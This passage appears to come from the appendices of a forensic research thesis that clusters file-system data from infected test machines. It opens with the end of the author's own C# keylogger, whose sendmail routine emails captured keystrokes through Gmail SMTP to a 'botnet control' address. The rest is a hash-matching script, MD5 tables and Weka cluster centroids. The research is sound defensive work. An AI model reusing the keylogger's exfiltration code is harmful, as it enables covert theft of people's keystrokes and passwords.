[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,

IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr GetModuleHandle(string lpModuleName);

// Sending mail programmatically using C# 2.0 with Gmail

public static void sendmail(string info)

{

System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();

System.Net.NetworkCredential cred = new System.Net.NetworkCredential("mail@gmail.com",

"password");

mail.To.Add("mail@gmail.com"); // * Example target mail address, e.g., botnet control

mail.Subject = "Malware"; // * Subject of the mail

mail.From = new System.Net.Mail.MailAddress("mail@gmail.com"); // * email origin

mail.IsBodyHtml = true;

mail.Body = info; // * Input to mailsending function, being the 

keystroke string

System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com"); // 

*gmail's smtp

smtp.UseDefaultCredentials = false;

smtp.EnableSsl = true;

smtp.Credentials = cred;

smtp.Port = 587;

smtp.Send(mail);

Console.WriteLine("Sent..."); // * Status message of sent keystrokes to master

}

}
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E Hash Counter Tool - Code
C:\Users\Anders\Documents\My Dropbox\MScFiles\hashcount.py 26. mai 2010 23:23

#Hash comparison tool
from arff import arffread,arffwrite # using arff module!
import commands # commands module

infile = raw_input("Input ARFF file (whole path):\n")# input arff file
inhash = raw_input("Hash DB\n") #Input hashdb
arffin = open(infile) #opening file
matches = 0 #match counter

print "Starting Parsing ARFF file..." # Status message
(name, sparse, alist, m) = arffread(arffin) # parsing arff file
print "Done Parsing, writing to file..." # status message

for obj in m: # goes through all file objects obj in list m:
if obj[24] != '?': # if there is a hash value

cmd = "hfind -q "+ inhash + " " + obj[24] #command used to find hash
if int(commands.getoutput(cmd)) == 1: #if the hash is in hash database:

matches +=1 #print number of matches
print matches
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F Example File
examplefile

examplefile.txt for experiment

http://www.hig.no
192.168.0.1
mail@mail.com

Page 1
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G Proof-of-Concept - Results

Figure 34: Identification of examplefile.txt
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Figure 35: Identification of unallocated files
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Figure 36: Identification of IP, Email and URL strings
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Machine ID MD5 Hash value
Clean 6507884916ee58f161114d50d9604bb6
1 2a6c53b5b09e7039deec6503aed13f18

Table 13: Hash values for machines in Proof-of-Concept experiment
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H Keylogger Bot Malware - Results

Figure 37: Successfully received emails with keystrokes from compromized hosts

Figure 38: Keylogger Bot Malware cluster output and visualization from Weka
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Machine ID MD5 Hash value
Clean 0e6ce9014ca285bdf7eb7717579d7f7c
1 34987edb4c0e1cad4799f9b5c2d991e3
2 2fde30dcf99b1f058372a6c08b65804c
3 907cfd39cfd563a05ef6b5571ca90fe5
4 6fd9d2b61dc50b889e3d126809445735
5 3f7453c9048c8379300b38bec426bb3b

Table 14: Hash values for machines in Keylogger Bot Malware experiment

C1 - Centroid
Attribute Value
filesize 1754.0049
mtime 2009-10-22 00:15:54
ctime 2010-04-12 12:15:00
atime 2010-04-12 12:15:00
filename $Extend/$ObjId
name_type r
mode 468.3723
nlink 1.3893
uid 0
crtime 2009-10-22 00:15:54
seq 3.7543
libmagic empty
MD5 25d02b740ef91e5bb675251ce9c8aa7d
unalloc 1
entropy 0.0003
IP, email and URL strings No strings

Table 15: Keylogger Bot Malware C1 centroid
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C2 - Centroid
Attribute Value
filesize 12371.1225
mtime 2010-04-12 11:49:35
ctime 2010-04-12 12:14:16
atime 2010-04-12 12:09:55
filename Documents and Settings/Administrator/Ap-

plication Data/Microsoft/SystemCertifica-
tes/My

name_type d
mode 499.4585
nlink 1.1186
uid 0
crtime 2010-04-12 12:07:21
seq 1.1897
libmagic data
MD5 02f85d1ab88a36a0f57c55593f4ae1f8
unalloc 1
entropy 3.4071
IP, email and URL strings Only a few special IP addresses, no special ad-

dress space

Table 16: Keylogger Bot Malware C2 centroid

C3 - Centroid
Attribute Value
filesize 104353.3831
mtime 2010-04-12 12:05:41
ctime 2010-04-13 16:58:00
atime 2010-04-19 18:50:26
filename Documents and Settings/Administrator/Favo-

rites
name_type d
mode 459.9121
nlink 1.9569
uid 0
crtime 2010-04-12 12:05:41
seq 1.4959
libmagic data
MD5 25d02b740ef91e5bb675251ce9c8aa7d
unalloc 1
entropy 3.4116
IP, email and URL strings IP addresses valid for the network it was

present. No URLs or Emails

Table 17: Keylogger Bot Malware C3 centroid
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C4 - Centroid
Attribute Value
filesize 4009347.34
mtime 2010-04-13 16:57:40
ctime 2010-04-13 16:57:40
atime 2010-04-19 18:49:05
filename Documents and Settings/Administrator/-

Recent
name_type d
mode 484.1511
nlink 1.1252
uid 0
crtime 2010-04-12 13:28:22
seq 1.3654
libmagic data
MD5 25d02b740ef91e5bb675251ce9c8aa7d
unalloc 1
entropy 3.0794
IP, email and URL strings Most distribution of ip(incl net spec), url and

emails

Table 18: Keylogger Bot Malware C4 centroid

C5 - Centroid
Attribute Value
filesize 17294.36
mtime 2010-04-12 08:21:00
ctime 2010-04-19 18:50:40
atime 2010-04-19 18:50:39
filename Documents and Settings/NetworkService/n-

tuser.dat.LOG
name_type r
mode 470.12
nlink 2
uid 0
crtime 2010-04-12 11:45:23
seq 2.24
libmagic GLS_BINARY_LSB_FIRST
MD5 66abef98ceee8f58b6d6080f010e59d7
unalloc 1
entropy 3.4478
IP, email and URL strings One string only 1.0.0.0 (in 20%)

Table 19: Keylogger Bot Malware C5 centroid
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C6 - Centroid
Attribute Value
filesize 1718848.7025
mtime 2010-04-12 13:28:14
ctime 2010-04-12 13:28:14
atime 2010-04-12 13:28:14
filename $BadClus
name_type r
mode 411.2025
nlink 1.1456
uid 1.519
crtime 2010-04-12 13:31:46
seq 3.4367
libmagic MS Windows registry file, NT/2000 or above
MD5 25d02b740ef91e5bb675251ce9c8aa7d
unalloc 1
entropy 2.4723
IP, email and URL strings All, where most are Emails and URLs, and a

few IPs

Table 20: Keylogger Bot Malware C6 centroid
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I Malware from the Wild - Results

Figure 39: Avira Antivir alert on spybot executable

Figure 40: Malware from the Wild cluster output and visualization from Weka
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Machine ID MD5 Hash value
Clean 0e6ce9014ca285bdf7eb7717579d7f7c
1 1b71144fc7784ff0d18241b3b8a23b19
2 d4795e8aee7a3d1ffe84b7755b169410
3 57f88d68bb430135b68ff6a92a359061
4 4b5d2cd5e07df40821ac98f328ee6138
5 1e9484725c15d4f459528f4b8097f60a

Table 21: Hash values for machines in Malware from the Wild experiment

C1 - Centroid
Attribute Value
filesize 3592335.3659
mtime 2010-04-15 20:33:42
ctime 2010-04-15 20:33:42
atime 2010-04-15 20:33:42
filename $BadClus
name_type r
mode 452.9868
nlink 1.2517
uid 0.3974
crtime 2010-04-12 13:28:22
seq 3.5546
libmagic empty
MD5 b067d3b0b13577ff26d2b688f48d5ec2
unalloc 1
entropy 1.1949
IP, email and URL strings No strings

Table 22: Malware from the Wild C1 centroid

C2 - Centroid
Attribute Value
filesize 142213.3107
mtime 2010-04-12 13:28:22
ctime 2010-04-12 13:28:22
atime 2010-04-12 12:09:55
filename $LogFile
name_type d
mode 498.585
nlink 1.068
uid 0
crtime 2010-04-12 13:28:22
seq 1.1429
libmagic data
MD5 b067d3b0b13577ff26d2b688f48d5ec2
unalloc 1
entropy 3.2839
IP, email and URL strings No strings

Table 23: Malware from the Wild C2 centroid
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C3 - Centroid
Attribute Value
filesize 92844.7052
mtime 2009-10-22 00:15:54
ctime 2010-04-12 12:15:00
atime 2010-04-12 12:15:00
filename Documents and Settings/Administrator/Ap-

plication Data
name_type d
mode 429.3481
nlink 1.9852
uid 0
crtime 2009-10-22 00:15:54
seq 1.8016
libmagic data
MD5 b067d3b0b13577ff26d2b688f48d5ec2
unalloc 1
entropy 2.9751
IP, email and URL strings No strings

Table 24: Malware from the Wild C3 centroid
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